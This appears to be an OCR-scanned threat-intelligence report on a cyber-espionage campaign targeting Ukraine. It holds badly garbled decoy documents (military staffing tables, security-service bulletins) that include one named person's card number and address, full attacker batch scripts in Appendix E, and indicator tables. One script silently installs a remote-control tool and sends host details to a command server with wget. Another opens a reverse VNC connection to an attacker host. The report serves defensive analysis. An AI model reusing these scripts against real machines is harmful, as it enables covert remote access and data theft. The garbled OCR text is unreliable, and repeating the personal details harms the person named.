3a mTAaTOM BOEHHOIO0 4Yacy YKOMIUIEKTOBAHICTb 74 OKpPEMOro pO3BiAyBalbHOro OaTalbiOHY
CKJIaJac:

oco6oBuM ckianoM 448 4onoBik, B ToMy uucii odiuepis — 44, cepxantiB — 79 yonoBika, conaar —
325 4oI10BiK;

TEeXHIK0I0 — 76 oguHuLb, B ToMy 4ucii BTT — 40 ogununs, AT — 36 oquHULE.

O36poeHHs Ta BilicbKoBa TeXHika (OCHOBHI BUAH):
3a ITaTOM — 76 0J1., B HasIBHOCTI 76 oauHuIb, o ckiagae 100 %.

Mobinizaniiina norpeba cxiajae:
ocoboBoro ckiangy — 167 4onosik, B ToMy 4ucii odinepis 3, cepxantis 10 conpar 152;
TexHikoi0 10 oguHus, B ToMy uucii AT (BautaxHux) - 10 oguHHLE.
IIOTPEBA TP MOBLII3AIIIL

nigpo3ain BY MY cnuco | ITorpibuo | Texmika ITocaau HEKOMIIEKTYEMI
K JOYKOMII 3 HEY
JICKTYBaTH

Viupasiiaas 35 28 20 6 5 — 6yxranTepos, 4 ainosoaa

1 posBinyBam,Ha pora 85 60 16 65 1 1 BilicbkoBoCcny)60BeUb CPOIHOU
cayx6u BPM 1K — 1 ogunnns (5
BilicbkoBOCTYX60BLIB)

2 po3BigyBajbHA pOTa 85 60 17 60 1 1 BilicekoBOCIYX60BLIB CPOYHOM
cayx6u, BMII-2 -9
BilCbKOBOCIYXKOO0BIIB

Pora riubunHOi po3Biaku 87 66 24 27 BTP-80 -4 onunuui (36
BilicbkoBOCITYX60BLIB)

B3Boa po3Bigku 22 10 2 21 1 BilicekoBoCIy)60BCIH CPOYHOH

TEXHiYHUMU 3ac06amMu cyxou

Po3BinyBansuHit B3BOA 18 10 2 16

CIIOCTEPEKEHHS

Bipginenuss PXBP 3 - - -

ITosnboBHH By30JI 3B’ SI3KY 34 17 11 9 1 BilicbkoBOCITYkG0OBLIB CPOYHOH
CIyxKO0H

PeMonTHHMIT B3BOA 28 16 2 26

B3Boa mMartepiansHOro 39 14 6 30 8 YPAJL - 1ox., TA3-66 -2 0.3

3a0e3neyeHHs BoaLA

MeauyHui DyHKT 10 5 1 9

Kiy6 2 - -- -

BCHOI'O: | 448 | 286 | 101 | 269 10

File: 25.01.2015.doc
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AHTHTePOPHCTHYHHH HEHTP

npu Ciayxoi 6e3nexn YKpainu

ITHO®OPMAIUHHHI OI'JIs1]]

010 TEPOPHCTHYHHX 3arPo3 Ta npoTHAil TepopuimMy
(crasom Ha 07 roa. 30 xB. 13 ciuns 2015 poky)
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«n paBu n ce KTOP» - nedopmamsuuii rpomanchknuit

PyX CTBOPEHHH ITi1 9ac aKIiH mpoTecTy i Ha3Bow «EBpOMangaH».
«MpaBui ceKTop» BukoHye QyHKUiO opraxizauii, ska 3aGesnedye
BHYTpimHii nopanok «€BpOManAaHi», a Takox B 3M03i MPOTHCTOATH
NpeJACTABHHKAM  IIPABOOXOPOHHHX  OpraHie, B  TOMY  YHCII
CIeLImiIPo3aiIaM Mimimii.

Jo cKIay HbOoro pyxy BXOAATh CTPYKTYPH IIPABOIO CIIEKIPY, a came:
BO «Tpu3yb iMm. C.BaHgepu», YHA-YHCO, «MaTpioT YKpaiHu»,
NpeJCTaBHHKH «yabTpac» Ta «pyTOONBHHX XyJiraHiB», OKpeMmi
TPOMAaJfAHH, AKi He MalOTh BiJHOINEHHA 10 BHINEBKa3aHHX 00'€IHaHb,
OJIHAK CHOBIAYIOTH AHAIOTI4YHI MOIIAIH (He SUKMOYaYu padukanbHi
memodu 6bopomsbu).

Ipeacrapuuku «MpaBoro CEKTOPY» He MO3HUIOHYIOTH cefe Hi 3
OJHOK TOIITHYHOK CHJIOK B KpaiHi, a TaKOX He CIIBNpALIOKTh 3
iHO3eMHHMH oOpraHizamisMi. CBOK AiUIBHICTH NPOBOAATH 3a BIIACHI
KOIITH, a TAKO 3a KOIITH, AKi OTPHMYIOTh BiJl HeGaHTy:KHX rpoMajfH.
ITin 49ac, CBO€l MiATIBHOCTI BHKOPHCTOBYIOTH (OPMH Ta MeTOAH
KOHCIIipallii, a TAKOK NMPOBOAATH KOHTP CIOCTEPEKEHHA Ta BHAB/ICHHA Y
CBOEMY cepeoBHIII o0cif, fAKi KOHTAKTYIOTh 3 IIPABOOXOPOHHHMH
OpraHaMH, a TakOX 1 CaMHX IpaliBHHKIB IPaBOOXOPOHHHX OPIaHiB.
«MpaBun CEKTOP» HeMae €IHHOTO BH3HA4YeHOro Jjixepa. IIpuGiH3Ha
KIIBKICTh B Mekax 500 ocif.

TepHTOpPiaTbHO 3HAXOAATHCA Ha 5-My nopepci 6yaiBmi «IIpodeninox»,
Jie CHCTEeMaTHYHO NMPOBOIATH HapaJIH, JeKIlii, KOHIIEPTH Ta TPeHyBaHHA.
3a HaABHHMH JaHHMH, MOGLiTi3allifd paJHKaIbHO HATAIITOBAHHX OCi6
1A ydacti B MacoBHX 3asopymeHHax 19 CiyHA 2014 poky
3aificHIOBaNachk depes comianbHy Mepexy « VK.COM», 3 BHKOPHCTaHHAM
1.38. rpynH «MpaBun cekTop» (Vk.com\public62043361).
OpraHizaTOpH IPYIH 3aKIHKATH: «MU nompebyemo Momowumkis,
wonomie, «apeymeHmis» (nidpyyHoi 36poi) ma neeHozo
¢piHaHcosozo 3abesneyeHHs Ons npudbaHHs mozo, WO mak
npocmo Hide He npodame».

JUta  mepepaxyBaHHA  KOIITiB  BKa3yBaBCA  HOMEpD  KapTKH
«Mpusarb6anky» 5168 7553 1093 5578, sapeectpopana Ha
OkyHeBa Cepria IropoBuya (79.06.1973 p.H., ypodxeHus
Pocilicekoi  @edepayii, 3apeecmposaHo20 3a adpecolo:
AHinponemposceka obnacmb, M. [QHINPOO3EPXUHCBK, 6yn.
Uepbuybkoeo, 65, ks. 6, koHmakmui Homepu menegoHie 067-

File: Cnmucku 6e3 ¢ororpadmur.docx
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Kontpoasosanicts TepaTopiii castamu ATO (crasom ua 16.02.2015)
3a odiuifiHHMH JaHHMH, cTaHoM Ha 16.02.2015 KOHTPOILOBaHICTH
tepuTopii cHiiaMH ATO 3aTHIIAETHCA HE3MIHHOIO.
Patiorn i wmicra o0aacHoro 3mavenHsi, sKki mnepedyBaTh mix
KOHTPOJIeM YKRpalHCchbKOl Baaxn
JloHenbKa 00/1aCTh:

. paiionn  —  ApremiBChKHH,  BeIHKOHOBOCUIKIBCHKHIA,
BonoaapcekHii, JHoGpomiaschKHi, KpacHoapMiHCBKHIA,
KpacHonmuMaHChKHH, QnexcanapiBCHKHI, ITepmotpasHeBHii,

CnoB’IHCBKHH;

- micra obaacHoro 3navenns — Apjiieka (odiniiino nepedyveae
i _KOHTPOJIeM VKpaiHChbKOI BJAAH, OJAHAK NPOTAIOM JOBIOro 4acy
TOouaThes  3amekui  Oof), Apremiecek, BomsoBaxa, Byrieripcek,
Jebaabuese (odiuifino nepedyvBae mii KOHTPoJIeM VKPAIHCHKOT BJAAIH,
OJHAK MPOTAIOM JOBIOr0 HMACy TOYATHCHA 3ameryi 060i), [[3ep/KHHCBK,
Jumutpie, dobponuwrda, Jlpyxkkieka, KocrauThHiBka, Kpamartopcsk,

Kpacuuit Jluman, Kpacnoapmiiicek, Mapiynonas, Hoporpoaiska, Cenuaose.,
C110B’AHCBK.

JIyrancbka 00.1aCTh:

paiiorn — BuUIoBOACHKHH,  BLIOKYPAKHHCHKHIH,
!Snswsw Mapxisceknii, Minoschkuii, HoBornckoBchkHi, CBATIBCBKHIA,
CrapoSinpcekuil, Tpoiubkuii;
- micTa odaacHoro 3aavenns — JIucH4aHChK, PyGikHe, CEBEPOIOHEUBK.
Paiionn i micTa 00/1aCHOT0 3HAYEHHSA, AKI YACTKOBO KOHTPOJIIITHCH
VKpPaTHCBKOIO BJIAJ0I0
JdoHenbKa 00/1aCTh:

- paiiorn  —  BonHoBackkui (3 ypaxyBaHHA
TEPHTOPIATEHHX 3MiH BiJNOBIHO 0 NMOCTaHOBH BepxoBHOI paau YkpaiHH
pix 12.12.2014 Ne32-VII), KoctanTHHIBChKHIH, Map iHChKHI (paiiueHTpH
nix koutponeM cui ATO, B paiioni M. Map IHKH 3HaXOZHTBCA B3BOJHO-
onopHHH MyHKT cH1 ATO, skuil MOCTIHHO OGCTPUIIOETECA TEPOPHCTAMH),
&cmaxgwuﬂ (paifueHTpH ML KOHTPOJIeM TePOPHCTIB);

MicTo obaacHOro 3HavenHs — €HakieBe (CHIAMH
ATO xkoHTpormoeTscs M. Byraeripcsk  (odiumiiino  mepedveae  mix
KOHTPOJIeM VKPAIHCHKOI _BJAJH, OJHAK HNPOTAILOM JOBIOIO €acy
TOYATHLCH 3aneK.Ii 00i).
JIyrancbka 00/1acTh:

- paiionn -~  Hopoaiizapcekuii  (TepopHcTamH

KOHTPOTIOETHCA JTHIIe ¢. COKUIEHHEH), Craupgno-Jlyrancekai

(repopHcraMH KOHTPOJIIOKOTHCA JIHIE HaceleHi nymcm MHKOIaIBCHKOT
me Miyc).
Paitonn i micra obaacHoro 3HaveHHs, sAKi
KOHTPO.TIOKTHCH TEPOPHCTAMH
JoHenbKa 001aCTh:

File: ATO.docx
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Jonarok

0 HAKA3JY MEpIIOro 3aCTYIHHKA KepiBHHKA
AHTHTePOPHCTHYHOIO HeHTpy npH Cyxo1
Oesnexn Ykpainu (KepiBHHKA
AHTHTePOPHCTHYHO] onepaiui Ha TepHTOpIi
Jloneuskoi Ta Jlyrancskoi obacreit)

Ne  orsin__ ciyns 2015 poky

THMYACOBHH ITOPSIOK
3AiHCHeHHEA KOHTPOJIIO 32 NepeMileHHsaM 0cid, TPAHCHOPTHAX 3ac00iB TA BAHTAKIB
B310B:K JiHil 3iTkHeHHs y Mexkax Jorenbrol Ta JIyrancbkol odacreif

L. 3araasHi nosoxkeHHs

1.1. Lle#t Tuvgacopmii mopsaaok (mami — ITopsaok) BH3Ha4ae OKpeMi ITHTAHHA
3A1HCHEHHA KOHTPOMIO 33 NepeMillleHHAM B paHoHi NMpOBENeHHA aHTHTEPOPHCTHIHOL
omnepauii Ha Tepuropii JloHeuskoi Ta Jlyrancekoi oGnacreit (mami — ATO), a Takox
B3JIOBXK JIHII 3iTKHeHHZ y Mexax JloHemskoi Ta JlyraHcekoi obmacrteii, ocif,
TPaHCIOPTHHX 3aco0lB Ta BAHTaKIB, a TAKOK BHIH OJIOKIIOCTIB, KOHTPOIBHHX ITYHKTIB
B’13y-BHI3Ty. MOPANOK iX (yHKINIOHYBAHHA, PABHIA iX NepeTHHAHHA.

1.2. ¥V mpomy [TopAaxky TepMiHH BKHBAIOTECA Y TAKOMY 3HAY€HHI:!

HEKOHTPOJbOBaHA TePHTOPIA — TEPHTOPiA, HAa AKIH OpPraHH Iep:KaBHOI BIIAIH
THMYAcOBO He 3JIHCHIOIOTh abo0 3IHCHIOIOTH He Y MOBHOMY 00CH31 NMOBHOBAKEHHA,
nepeabaveHi 3aKOHOIABCTBOM YKpaiHH;

KoopaHHAIIHHEE weHTp (mami - KI[) — me miaposain 3 NHTaHe peXHMY Ta
€KOHOMIYHOI JITBHOCTI Ha TEPHTOPIAX NPHIEITHX J0 CMYTH Oe3NeKH B3JOBXK JIHIT
PO3MEKYBAHHA, AKHH CTBOpeHHI NpH onepaTHBHOMY mTadi 3 ynpasaiaaa ATO, ta
J0 CKIamy fKOro BXOAATh mnpeactaBHHkH CiayxOH Gesnekn Vipainn (mam — CBY),
36poitaax Crn Ykpainn (mam — 3CY), MiHicTepcTBa BHYTPILIHIX CripaB YKpaiHH (1am -
MBCY), HaonansHoi reapaii Ykpainu (nam - HI'Y), Jlep:xaBHOT NPHKOPAOHHOT cI1y:k0H
Vipaian (gam — ATICY), Jepxasuoi dickanbHoi cay:k6u Yipainu (zam — JPCY) 3
METOK KOOPIHHAIII JISTBHOCTI KOOPAHHAIIMHHX TIpyn Ta opradizamii Bmaawi
nepenycror Aas GisHIHEX Ta WPHIHIHAX 0cid (aai - ocid), TpaHCHOPTHAX 3ac00iB
TA BAHTAXKIB,

Koop/HHawiiHa rpyna (aam - KI') — e miapos/ait 3 NHTaHb PesKHMY Ta eKOHOMIMHOT
JUATBHOCTI HA TEPHTOPLAX MPH/IETIIHX 10 CMyTH Ge3neKkH B3IOBK JTiHI pO3MeKyBaHHA, AKA
cTBOpeHa npH ynpasadiaasax (Biaxinax) MBC Vkpaian paionis (micT), T2 10 crnamny
AKOro BXoaats npexacrapuuku CBY, 3CY, MBCY, HI'V, AIICY, APDCY, iHmMHEX CHI i
3aco6iB cyG'ekTiB GOpoTHOGH 3 TEPOPH3MOM, a TaKOXK MIANPHEMCTB, YCTaHOB,
oprasizani, fKi 3aJy4al0ThCid A0 Y4acTi B aHTHTEPOPHCTHUHIH omepauii 3 MeToo
CBOEYACHOI Ta AKICHOI mepeBipkH ocCi0, fAKi BHABHAH OakaHHA NEPETHYTH JIHIKO
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APPENDIX E: Example Scripts Used in Attacks

install.cmmd
MD5: D43E1BBAE9332DE223D13840FCD21A76

@echo off
@chcp 1251

cd $TEMPS%

Qattrib -S -H -r "$windir%\system32\sysfiles"

Qattrib -S -H -r "$windir%\syswow64\sysfiles"

@attrib -S -H -r "%$ProgramFiles%\Remote Manipulator System - Server"
@attrib -S -H -r "%$ProgramFiles (x86)%\Remote Manipulator System - Server

"

"$windir%$\system32\sysfiles\rutserv.exe" /stop
"$windir%\syswow64\sysfiles\rutserv.exe" /stop
"$windir%\system32\sysfiles\rutserv.exe" /silentuninstall
"$windir%\syswow64\sysfiles\rutserv.exe" /silentuninstall

"$ProgramFiles%\Remote Manipulator System - Server\rutserv.exe" /stop
"$ProgramFiles (x86) $\Remote Manipulator System - Server\rutserv.exe" /stop
"$ProgramFiles%\Remote Manipulator System - Server\rutserv.exe" /silentuninstall
"$ProgramFiles (x86) $\Remote Manipulator System - Server\rutserv.exe" /silentuninstall

@net stop rmanservice
@sc delete "rmanservice"

tasklist | find "rfusclient.exe"
if errorlevel 1 @taskkill /f /im rfusclient.exe

tasklist | find "rfusclient.exe *32"
if errorlevel 1 @taskkill /f /im rfusclient.exe *32

tasklist | find "rutserv.exe"
if errorlevel 1 @taskkill /f /im rutserv.exe

tasklist | find "rutserv.exe *32"
if errorlevel 1 @taskkill /f /im rutserv.exe *32

@MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /gn REBOOT=ReallySuppress

@MsiExec /x {A5DB67DC-DB0E-4491-B9F7-F258A02EE03C} /gn REBOOT=ReallySuppress

@MsiExec /x {5B1EC627-A9CA-4BE8-966E-5FCB90ECD770} /gn REBOOT=ReallySuppress

@MsiExec /x {54D1AB84-6B0B-445D-B7AB-E2B2FEEC3A4F} /gn REBOOT=ReallySuppress

@MsiExec /x {FE83B905-4554-4DFF-97F4-9292178CB171} /gn REBOOT=ReallySuppress

@MsiExec /x {AB7AA605-500F-4153-8207-FB5563419112} /gn REBOOT=ReallySuppress

@reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{11A90858-40BB-
4858-A2DA-CA6495B5E907}" /£

@reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-
18\Products\85809A11BB0485842AADAC46595B9E70\InstallProperties” /£

@reg delete "HKCR\Installer\Products\85809A11BB0485842AADAC465 95BO9E70" /f

@reg delete "HKLM\SYSTEM\Remote Manipulator System" /f

@reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AB7AA605-500F-
4153-8207-FB5563419112}" /f

@reg delete "HKCR\Installer\Products\506AA7BAF00535142870BF5536141921" /f

@reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-
18\Components\6EDC4423414699340B5D245426472701" /f

@reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-
18\Components\E45BAE6295648E74689FC47BF4E730EB" /£

@reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-
18\Components\E5052F47A02BDEA469F8EAB572D83BA8" /£

@reg delete "HKLM\System\CurrentControlSet\Services\RManService" /f

@del "%ProgramFiles%\Remote Manipulator System - Server\*.*" /g

@rmdir "$ProgramFiles%$\Remote Manipulator System - Server"

@del "%ProgramFiles (x86)%\Remote Manipulator System - Server\*.*" /g

@rmdir "$ProgramFiles (x86)%\Remote Manipulator System - Server"

@del "%Swindir$%\system32\sysfiles\*.*" /g
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@rmdir "$windir%$\system32\sysfiles"
@del "%Swindir$%\syswow64\sysfiles\*.*" /g
@rmdir "$windir%$\syswow64\sysfiles"

:test

ping -n 1 -w 500 google.com.ua
if not %errorlevel%==1 goto gous
ping -n 10 127.0.0.1 > NUL

goto test

:gous
cd $TEMPS
@MsiExec /I "rms5.2.1.msi" /gn

ping -n 10 127.0.0.1

MD "$APPDATAS%"\AdobeUpdates
MD "S$WINDIRS"\AdobeUpdates

set group=download
For /F "UseBackQ Tokens=2*" %%I In ( Reg Query "HKEY LOCAL MACHINE\SYSTEM\Remote

Manipulator System\v4\Server\Parameters"”|Find /I "Options"') Do echo %%J
>>"STEMPS"\1id. txt

setlocal
for /f "tokens=1" %%a in ('getmac”|Find /I "Tcpip"') do (set mac=%%a && goto:next)
:next

echo %$mac% >>%TEMP%\mac.txt
echo $COMPUTERNAMES >>%TEMPS$\comp.txt
echo %$group% >>$TEMP%\group.txt

cd STEMP%

for /f "tokens=1" %%i in (id.txt) Do (set 1d=%%i)

for /f "tokens=1" %%i in (mac.txt) Do (set mac=%%1i)
for /f "tokens=1" %%i in (comp.txt) Do (set comp=%%i)
for /f "tokens=1" %%i in (group.txt) Do (set group=%%

i)
wget --post-data="mac=%mac%&comp=%comp%&id=%id%&group=%group$%
ru.ru/updater.php -qg -0 -

"

http://rms.admin-

cd $TEMP%

copy "S$TEMP%$\id.txt" "$APPDATA%\AdobeUpdates\" /y
copy "S$TEMP$\mac.txt" "$APPDATA%\AdobeUpdates\" /vy
copy "$TEMP%\comp.txt" "$APPDATA%\AdobeUpdates\" /y
copy "$TEMP%\group.txt" "$APPDATA%\AdobeUpdates\" /y

copy "S$TEMP%$\id.txt" "$WINDIR$\AdobeUpdates\" /y
copy "S$TEMP$\mac.txt" "S$WINDIR%\AdobeUpdates\" /y
copy "$TEMP%\comp.txt" "$WINDIR%\AdobeUpdates\" /y
copy "$TEMP%\group.txt" "$WINDIR%\AdobeUpdates\" /y

CD %TEMP%

ping -n 3 127.0.0.1
del /f /g id.txt

del /f /g mac.txt

del /f /g comp.txt

del /f /g group.txt
del /f /g rms5.2.1.msi
del /f /g set.exe

del /f /g 123.cmd

del /f /g install.cmd

exit
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vnc.cmd
MD5: 8DACO6EOCFO9B7F77250AA8CFOC62E1B2F

@echo off
chcp 1251 >nul
taskkill /f /im winvnc.exe

CD $TEMP%\vnc\

del /f /g winvnc.exe

del /f /g MSRC4Plugin_ for sc.dsm
del /f /g rcéd.key

del /f /g UltraVNC.ini

setlocal

for /f "tokens=1" %%a in ('getmac”|Find /I "Tcpip"') do (set mac=%%a && goto:next)
:next

set sPara=%mac:-=%

CD $TEMP%\vnc\cop\

copy "$TEMP%\vnc\cop\winvnc.exe" "$TEMP%\vnc\" /y

copy "S$TEMP%\vnc\cop\MSRC4Plugin for sc.dsm" "$TEMP%\vnc\" /y
copy "$TEMP%\vnc\cop\rc4.key" "STEMP%\vnc\" /y

copy "S$TEMP%\vnc\cop\UltraVNC.ini" "S$TEMP%\vnc\" /y

CD %TEMP%\vnc\

start winvnc.exe

ping 127.0.0.1

ping 127.0.0.1

CD "STEMP%\vnc\"

start winvnc -autoreconnect -id:%$sPara% -connect grom90.ddns.net:5500

exit
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APPENDIX F: POST’d RMS Settings Encoded and Decoded

Encoded:

545046301154524F4D5365727665724F7074696F6E7300095573654E5441757468080D5
3656375726974794C6576656C020304506F727403121614456E61626C654F7665726C61
7943617074757265080C53686F775472617949636F6E080642696E644950060D416E792
0696E746572666163651343616C6C6261636B4175746F436F6E6E656374091743616C6C
6261636B436F6E6CE656374496E74657276616C023C084869646553746F70090C4970466
96C7465725479706502021750726F7465637443616C6C6261636B53657474696E677308
1550726F74656374496E6574496453657474696E6773080F446F4E6F744361707475726
5524450080755736549507636091141736B557365725065726D697373696F6E08165573
65725065726D697373696F6E496E74657276616C031027134175746F416C6C6F7750657
26D697373696F6E08134E656564417574686F72697479536572766572081F41736B5065
726D697373696F6E4F6E6C794966557365724C6F676765644F6E0811557365496E65744
36F6ECE656374696F6E0813557365437573746F6D496E6574536572766572080A496E65
744964506F72740317160D557365496E6574496449507636081444697361626C6552656
D6FT7465436F6E74726F6C081344697361626C6552656D6F746553637265656E08134469
7361626C6546696C655472616E73666572080F44697361626C655265646972656374080
D44697361626C6554656C6E6574081444697361626C6552656D6F746545786563757465
081244697361626C655461736B4D616E61676572080E44697361626C654F7665726C617
9080F44697361626C6553687574646F776E081444697361626C6552656D6F7465557067
72616465081544697361626C655072657669657743617074757265081444697361626C6
54465766963654D616E61676572080B44697361626C6543686174081344697361626C65
53637265656E5265636F7264081044697361626C6541564361707475726508124469736
1626C6553656E644D657373616765080F44697361626C655265676973747279080D4469
7361626C65415643686174081544697361626C6552656D6F746553657474696E6773081
44E6F746966794368616E67655472617949636F6E08104E6F7469667942616C6C0F6E48
696E74080F4E6F74696679506C6179536F756E6408064C6F67557365080553696449640
61034313735392E36383938343339353833084C6963656E73657306C2524D532D5A2D36
41423338373331323962664637383030384332314566663345384543456461626959325
3326459586C52664477776E4932315756305A65586C3951564346786645645744777865
5241395749436732625674645555464457464E75596A39474267315A56673445416D5A2
B61674145486C6C57446731554A6E4E6942785542424238434151466D456D4942416741
4243415548444830704A777745556C354744674141626D4977584577504442316256456
B4E4A4431555677383D0D50726F787953657474696E67731426010000EFBBBF3C3F786D
6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3136223F3E0
DOA3C70726F78795F73657474696E67732076657273696F6E3D223532313030223E3C75
73655F70726F78793E66616C73653C2F7573655F70726F78793E3C70726F78795F74797
0653E303C2F70726F78795F747970653E3C686F73743E3C2F686F73743E3C706F72743E
383038303C2F706F72743E3C6E6565645F617574683E66616C73653C2F6E6565645F617
574683E3C6E746D6C5F617574683E66616C73653C2F6E746D6C5F617574683E3C757365
726E616D653E3C2F757365726E616D653E3C70617373776F72643E3C2F70617373776F7
2643E3C646F6D61696E3E3C2F646F6D61696E3E3C2F70726F78795F73657474696E6773
3EODOAL1144697361626C65496E7465726E65744964080000

Decoded:

TPFOTROMServerOptionsUseNTAuthSecurityLevel

Port EnableOverlayCaptureShowTrayIconBindIPAnyin
terfaceCallbackAutoConnectCallbackConnectInterval<HideStopIpFilterTypeP
rotectCallbackSettingsProtectInetIdSettingsDoNotCaptureRDPUseIPv6AskUse
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rPermissionUserPermissionInterval 'AutoAllowPerm
issionNeedAuthorityServerAskPermissionOnlyIfUserLoggedOnUseInetConnecti
onUseCustomInetServerInetIdPort UseInetIdIPv6Dis
ableRemoteControlDisableRemoteScreenDisableFileTransferDisableRedirectD
isableTelnetDisableRemoteExecuteDisableTaskManagerDisableOverlayDisable
ShutdownDisableRemoteUpgradeDisablePreviewCaptureDisableDeviceManagerDi
sableChatDisableScreenRecordDisableAVCaptureDisableSendMessageDisableRe
gistryDisableAVChatDisableRemoteSettingsNotifyChangeTrayIconNotifyBallo
nHintNotifyPlaySoundLogUseSidId41759.6898439583LicensesARMS-2-
6AB3873129pfF78008C21Eff3E8ECEdabiY2S52dYX1IREfDwwnI21WV0ZeX19QVCEFxfEdWDwx
eRAIWICg2bVtdUUFDWENUYj9GBglZVg4EAMZ+agAEH11WDglUJnNiBxUBBBSCAQFMEMIBAg
ABCAUHDHOpJwwEU15GDgAAbmIwXEWPDB1bVEKNJD1UVwWE=

ProxySettingsé&i»;<?xml version="1.0" encoding="UTF-16"?><proxy settings
version="52100"><use proxy>false</use proxy><proxy type>0</proxy type><
host></host><port>8080</port><need auth>false</need auth><ntml auth>fal
se</ntml auth><username></username><password></password><domain></domai
n></proxy settings>DisableInternetId
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APPENDIX G: Indicators of Compromise

Table 1: Network Based Indicators of Compromise

FQDN

Resolves To

Observable

Occurred At

80.245.113.158

80.245.113.158

Rogue DNS Server
in Cyber Espionage
Campaign

2013-09-02

kif.ru

195.208.1.111

Compromised
Server Distributing
Malware in Cyber
Espionage
Campaign

2013-11-24

downloads.file-
attachments.ru

46.254.20.155

Distributing
Malware in Cyber
Espionage
Campaign

2014-08-15

downloads.file-
attachments.ru

91.218.228.161

Distributing
Malware in Cyber
Espionage
Campaign

2014-09-10

rms.admin-ru.ru

46.254.20.155

C&C Server in Cyber
Espionage
Campaign

2014-08-12

downloads.email-
attachments.ru

46.254.22.31

Distributing
Malware in Cyber
Espionage
Campaign

2014-11-01

grom90.ddns.net

37.143.8.220

C&C Server to
Control RAT in
Cyber Espionage
Campaign

2014-11-01

grom90.ddns.net

91.218.228.161

C&C Server to
Control RAT in
Cyber Espionage
Campaign

2014-11-01

xiaomi-mi.com.ua

89.184.76.197

Compromised
Server Distributing
Malware in Cyber
Espionage
Campaign

2014-12-25

e.muravej.ua

89.184.74.185

Compromised
Server Distributing
Malware in Cyber
Espionage
Campaign

2015-01-15

gromb56.ddns.net

37.143.8.220

C&C Server to
Control RAT in
Cyber Espionage
Campaign

2015-01-15

brokbridge.com

89.184.73.111

Compromised
Server Distributing
Malware in Cyber

2015-02-08
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Espionage
Campaign
skidka.mobiboom.com.ua 77.87.192.179 Compromised 2015-02-08
Server Distributing
Malware in Cyber
Espionage
Campaign
cat.gotdns.ch 37.143.8.220 C&C Server to 2015-02-08
Control RAT in
Cyber Espionage
Campaign
cityhotel.kiev.ua 77.87.195.244 Compromised 2015-02-16
Server Distributing
Malware in Cyber
Espionage
Campaign
cityhotel.ua 77.87.195.244 Compromised 2015-02-16
Server Distributing
Malware in Cyber
Espionage
Campaign
downloads.mortal-combat.by 46.254.20.155 Distributing 2015-02-16
Malware in Cyber
Espionage
Campaign
prestigeclub.frantov.com.ua | 89.184.68.20 Compromised 2015-03-25
Server Distributing
Malware in Cyber
Espionage
Campaign
Table 2: Host Based Indicators of Compromise
Filename MD5 Observable
OBmmit CHMCOK JIML, 3ahepXaHHBIX 456BAD71881D1B456C1D0F96D94B5660 | SFX Dropper in
u cozjepxamuxcsa B JVMBC Ha Cyber Espionage
TeppuTtopumu JHP 3a wmoap 2014 Campaign
roma.scr
CnMCKH areHTYDPDHOTO
amapaTty Cayxoébu 0e 3
Nexu YKpPauUHHU CTaHDO
M Ha aunedsb 2013 p oK
y .scr
Crnmcky uneHoB msyxenua lpaset | F125005055AED91873CE71010B67EBSS | SFX Dropper in
CEeKTOp C yKas3aHueM Cyber Espionage
YCTAHOBOYHEIX IaHHEIX U Campaign
dboTorpadmamMm sul.exe
Cnmcku 4jieHOB nBuxeHus Ilpasei | FO9C4A48DD94A1E253DB09824CD7EBS07 | SFX Dropper in
CEeKTOp C yKas3aHueM Cyber Espionage
YCTAHOBOYHEIX IaHHEIX U Campaign
bororpapuaMm Jmil.exe
Cnmcku uneHiB IlpaBoro cexropa | BDB7FCOC315DF06EFA17538FB4EB38CE | SFX Dropper in
gkl OynM HamaHl npencraBHUKaAM Cyber Espionage
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Filename MD5 Observable
IJoHEUBbKO1 HAPOOHOIL Campaign
Pecnybisiku.scr

KoppeKTUPOBAaHHEE CIMUCKMA

IpaBOT'O CEeKTOopa COCTOSHMEM Ha

nioHb 2014 rToma.scr

Cnmcku Mnpaboro CeKTopa

nepenaHHele B ®CB Poccumckom

demepauunm. scr

IndopmauivHl MaTepianm nmig 18813BF1BFA68DBB76752C5DF32E10AE SFX]Dropperin
WOIEHHOTO 1HGOPMYyBaHHSA CyberEqﬂonage
AnvinicTpauil IpesmneHTa Canuxﬂgn
YKpalHu.Scr

ExCcrepTHMHMM BMCHOBOK komicil 286618DFOAEBBEDCFD39A865CD4E6BD7Y SFX]Dropperin
HaykoBoro UeHTpy CyxXONyTHUX CyberEspionage
B%ﬁCbK AkameMii CYXONYyTHMUX Canqxngn
Bivcbk imMeHl TeTbMaHa IleTpa

CaramnadyHoro.SCr

KoHTpoJbOBaHiCThE TepuTOpiM 0355DB8425D97C343E5A7B4ECBF43852 SFX]Dropperin
cujlaMu HK% IPUMManTb yqaCTb”y CyberEqﬁonage
NpOBeleHHl aHTUTEPOPUCTUUHOIL Campaign

onepauii, craHoM Ha
16.11.2014.scr

BignoBinb AHTUTEPOPUCTUUHUN

75BCFC6B1E10D362A0170445B6B2BEDE

SFX Dropper in

ueHTp npmu Cayx6i Oesnexn Cyber Espionage

Yxpainm Bx. Il Nt 117350ck Big Campaign

25.11.2014.scr

lonaTok mO y3arajlbHEeHOIL B7E306E05B5CBD6FF64A0803C07CC32D | SFX Dropper in

OOB1OKM Ipo O@CTaHOBKy Ha Cyber Espionage

OepXaBHOMY KOPHOOH1 VYkpalHu .

cTaHoM Ha 15 ciuna 2015 Campaign

POKY.SCIr

IHorpinka koMaHAMpPa BiMCBKOBOIL 86796D33483CA122612AA82A405F013B SFX Dropper in

vacTuay Al035 niAnoJIKOBHMKA CyberEqﬁonage

M.O.4YybaHoBa Onsa Haesa Canuxngn

(cenexTop 25.01.15) .scr

(Unknown name) .scr 08B36690AF8F7A96E918EED1I1F42AEFF SFXInnpperin
Cyber Espionage
Campaign

TuMuacoBui Hopsanok 3nilicHeHHs | 125970B313EE46EBB3DCD28B6E3268C6 SFX Dropper in

KOHTPOJIO 3a NepeMileHHAM Cyber Espionage

oci6b, ?pchnopTng ??COGiB Ta Campaign

BaHTaxie B3moBxX JiHiI

31TKHEHH.SCr

